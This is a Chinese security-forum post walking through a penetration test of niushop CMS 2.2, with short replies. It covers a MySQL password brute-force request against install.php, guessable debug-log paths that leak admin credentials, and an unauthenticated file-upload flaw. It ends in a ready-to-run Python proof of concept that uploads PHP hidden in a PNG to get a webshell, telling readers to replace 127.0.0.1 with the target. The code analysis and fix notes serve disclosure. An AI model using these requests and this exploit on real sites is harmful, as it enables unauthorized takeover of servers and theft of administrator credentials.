資源共享吧|易語言論壇|逆向破解教程|輔助開發(fā)教程|網(wǎng)絡安全教程|rigasin.com|我的開發(fā)技術隨記

 找回密碼
 注冊成為正式會員
查看: 3603|回復: 2
打印 上一主題 下一主題

[網(wǎng)絡安全/滲透測試] niushop CMS漏洞最新版本測試全過程(前臺Getshell)

[復制鏈接]

184

主題

347

帖子

14

精華

資源共享吧豪華貴族SVIP

Rank: 9Rank: 9Rank: 9

資源幣
18816
積分
3920
貢獻
1368
在線時間
1084 小時
注冊時間
2015-4-18
最后登錄
2020-2-22

終身成就常駐居民幽默大師灌水大師原創(chuàng)先鋒精華會員資源共享吧女神宣傳大使愛心大使

跳轉(zhuǎn)到指定樓層
樓主
發(fā)表于 2019-5-20 15:31:03 | 只看該作者 |只看大圖 回帖獎勵 |倒序瀏覽 |閱讀模式
niushop CMS漏洞最新版本測試全過程(前臺Getshell)0x01 環(huán)境搭建
Version:單商戶 2.2
測試環(huán)境:MacOS 10.14 + MAMP Pro + BurpSuite + FileMonitor
0x02 黑盒測試0x02_1 安裝測試

下圖為改數(shù)據(jù)包發(fā)送后的文件變化

關鍵步驟的數(shù)據(jù)包 每進行一步驟通過Action發(fā)送到Repeater保存一份 注意通過FileMonitor觀察文件變化 正常完成后再通過Repeater重新發(fā)送數(shù)據(jù)包并觀察文件變化。

通過重新發(fā)送前面的數(shù)據(jù)包發(fā)現(xiàn) 即便已經(jīng)安裝 仍可以通過該數(shù)據(jù)包驗證爆破mysql密碼(如果mysql密碼正確 此處返回值為1 錯誤為0) 歸咎與邏輯錯誤 不算漏洞(如果外網(wǎng)可連接mysql 何必通過此處爆破)

POC:

GET /install.php?action=true&dbserver=127.0.0.1&dbpassword=yourpassowd&dbusername=root&dbname=niushop_b2c HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: action=db
驗證另外幾個數(shù)據(jù)包發(fā)現(xiàn)文件并無變化 暫定為此處無漏洞。

0x02_2 后臺測試

后臺登錄建議講數(shù)據(jù)包發(fā)送到Repeater進行多次發(fā)送 觀察時候會有驗證碼等限制 測試后臺是否可爆破 此處經(jīng)過測試 可爆破
Python Poc:
同時注意觀察文件變化

如圖 發(fā)現(xiàn)會寫出日志且目錄命名簡單 可猜解

http://host.com/runtime/log/201901/03.log
即為 域名 + /runtime/log/ + 年月 + / + 號數(shù) + .log

可訪問查看是否存在敏感信息泄露
如圖 發(fā)現(xiàn)日志泄露了管理登錄賬號密碼。

第一枚漏洞Get。


繼續(xù)后臺功能測試
從第一個功能開始測試 每個功能均使用一遍 持續(xù)觀察文件變化!重要的數(shù)據(jù)包保存一份 重發(fā)測試。

經(jīng)過使用功能時發(fā)現(xiàn) 此處僅不可直接上傳php文件 但是可在Repeater中修改圖片為php繼續(xù)上傳 將php文件修改為png格式后上傳不通過 說明此處上傳只做了前端限制和檢查了文件頭 此處先上傳正常圖片 然后修改后綴以及文件中間的內(nèi)容為php代碼來Getshell。


需要注意此時時需要后臺權限的 可嘗試修改后刪除cookie測試上傳能否繼續(xù)完成。

通過多次修改和觀察發(fā)現(xiàn) 刪除Cookie后可繼續(xù)上傳 但是如過度刪除圖片內(nèi)容 會導致php文件雖然寫入成功 但是路徑無法返回 根據(jù)監(jiān)控到的文件變化來看 此處以文件hash命名導致無法爆破到路徑 可結合前面的日志泄露查找shell地址。此處總結為可前臺Getshell但是利用麻煩。
通過Photoshop生成一張尺寸最小的圖片(約64個字節(jié))后進行嘗試 發(fā)現(xiàn)其實最要把php文件追加到圖片后面就可以了

命令

Windows:type phpinfo.php >> poc.png
MacOS/Linux:cat phpinfo.php >> poc.png
至此 該CMS前臺Getshell完成。

其余功能測試同理。

0x03 代碼分析
整理一下前面的漏洞

mysql密碼爆破
根據(jù)url直接定位到install.php文件
第38到62行

if($_GET['action']){
    $dbserver = $_GET['dbserver'];
    $dbusername = $_GET['dbusername'];
    $dbpassword = $_GET['dbpassword'];
    $dbname = $_GET['dbname'];
    $link = mysql_connect($dbserver, $dbusername, $dbpassword);
    $query = mysql_query("SHOW DATABASES LIKE  '{$dbname}';");
    //                  var_dump($query);
    if(mysql_fetch_assoc($query) != false){
        //說明數(shù)據(jù)庫已經(jīng)存在
        echo 1;
        exit();
    }else{
        echo 0;
        exit();
    }
}
$actions = array('license', 'env', 'db', 'finish');
$action = $_COOKIE['action'];
$action = in_array($action, $actions) ? $action : 'license';
$ispost = strtolower($_SERVER['REQUEST_METHOD']) == 'post';
if(file_exists(IA_ROOT . '/install.lock') && $action != 'finish') {
    header('location: ./index.php/shop');
    exit;
}
顯而易見 在判斷install.lock文件是否存在之前就進行數(shù)據(jù)庫驗證 不受install.lock的影響 屬于邏輯問題 調(diào)整一下代碼的位置或刪除install.php即可修復。

敏感日志泄露
定位到application/admin/controller/index.php文件 第40行到68行代碼如下

public function index()
    {
        $debug = config('app_debug') == true ? '開發(fā)者模式' : '部署模式';
        $this->assign('debug', $debug);
        $main = \think\Request::instance()->domain();
        $this->assign('main', $main);
        // 銷售排行
        $goods_rank = $this->getGoodsRealSalesRank();
        $this->assign("goods_list", $goods_rank);
        $this->assign("is_index", true);

        //快捷菜單選項
        $config_service = new Config();
        $shortcut_menu_list = $config_service->getShortcutMenu($this->instance_id, $this->uid);
        $this->assign('shortcut_menu_list',$shortcut_menu_list['data']);

        //快捷菜單id數(shù)組
        $selected_ids = [];
        foreach($shortcut_menu_list['data'] as $key=>$val){
            $selected_ids[] = $val['module_id'];
        }
        $this->assign('selected_ids',$selected_ids);

        $this->assign('is_show_shortcut_menu',1);

        $this->getSystemConfig();

        return view($this->style . 'Index/index');
    }
如42行所示app_debug模式默認為true 為開啟狀態(tài) 改cms是基于thinkphp編寫的 debug模式會寫出調(diào)試日志。廠商和用戶均可將修改為app_debug修改為false再上線 以解決此問題

前臺Getshell
定位到application/admin/controller/Upload.php文件 第556行到568行代碼如下

// 驗證文件
        if (! $this->validationFile()) {
            return $this->ajaxFileReturn();
        }
        $guid = time();
        $file_name_explode = explode(".", $this->file_name); // 圖片名稱
        $suffix = count($file_name_explode) - 1;
        $ext = "." . $file_name_explode[$suffix]; // 獲取后綴名
                                                  // 獲取原文件名
        $tmp_array = $file_name_explode;
        unset($tmp_array[$suffix]);
        $file_new_name = implode(".", $tmp_array);
        $newfile = md5($file_new_name . $guid) . $ext;
后臺明沒有后綴限制 上傳成功后的新文件($newfile) 的后綴是從源文件中$ext取出來的 導致了后綴可控

0x04 Poc編寫
import requests

session = requests.Session()

paramsGet = {"s":"/wap/upload/photoalbumupload"}
paramsPost = {"file_path":"upload/goods/","album_id":"30","type":"1,2,3,4"}
paramsMultipart = [('file_upload', ('themin.php', "\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01\x08\x06\x00\x00\x00\x1f\x15\xc4\x89\x00\x00\x00\x0bIDAT\x08\x99c\xf8\x0f\x04\x00\x09\xfb\x03\xfd\xe3U\xf2\x9c\x00\x00\x00\x00IEND\xaeB`\x82<? php phpinfo(); ?>", 'application/octet-stream'))]
headers = {"Accept":"application/json, text/javascript, */*; q=0.01","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0","Referer":"http://127.0.0.1/index.php?s=/admin/goods/addgoods","Connection":"close","Accept-Language":"en","Accept-Encoding":"gzip, deflate"}
cookies = {"action":"finish"}
response = session.post("http://127.0.0.1/index.php", data=paramsPost, files=paramsMultipart, params=paramsGet, headers=headers, cookies=cookies)

print("Status code:   %i" % response.status_code)
print("Response body: %s" % response.content)

將poc種的127.0.0.1替換成目標即可

回復

使用道具 舉報

3

主題

123

帖子

0

精華

終身高級VIP會員

Rank: 7Rank: 7Rank: 7

資源幣
109
積分
139
貢獻
0
在線時間
50 小時
注冊時間
2019-4-6
最后登錄
2025-4-17

終身VIP會員

沙發(fā)
發(fā)表于 2019-5-24 22:50:09 | 只看該作者
謝謝樓主,已經(jīng)拿來寫成poc驗證了
回復 支持 反對

使用道具 舉報

715

主題

1223

帖子

1

精華

終身高級VIP會員

Rank: 7Rank: 7Rank: 7

資源幣
11472
積分
4971
貢獻
0
在線時間
2065 小時
注冊時間
2015-4-20
最后登錄
2024-7-9

終身VIP會員

板凳
發(fā)表于 2019-5-24 23:16:00 | 只看該作者
yaoyaomeng 發(fā)表于 2019-5-24 22:50
謝謝樓主,已經(jīng)拿來寫成poc驗證了

厲害啦
回復 支持 反對

使用道具 舉報

 點擊右側(cè)快捷回復  

本版積分規(guī)則

小黑屋|資源共享吧 ( 瓊ICP備2023000410號-1 )

GMT+8, 2025-4-19 08:05 , Processed in 0.054908 second(s), 15 queries , MemCached On.

Powered by Discuz! X3.4 Licensed

Copyright © 2001-2021, Tencent Cloud.

快速回復 返回頂部 返回列表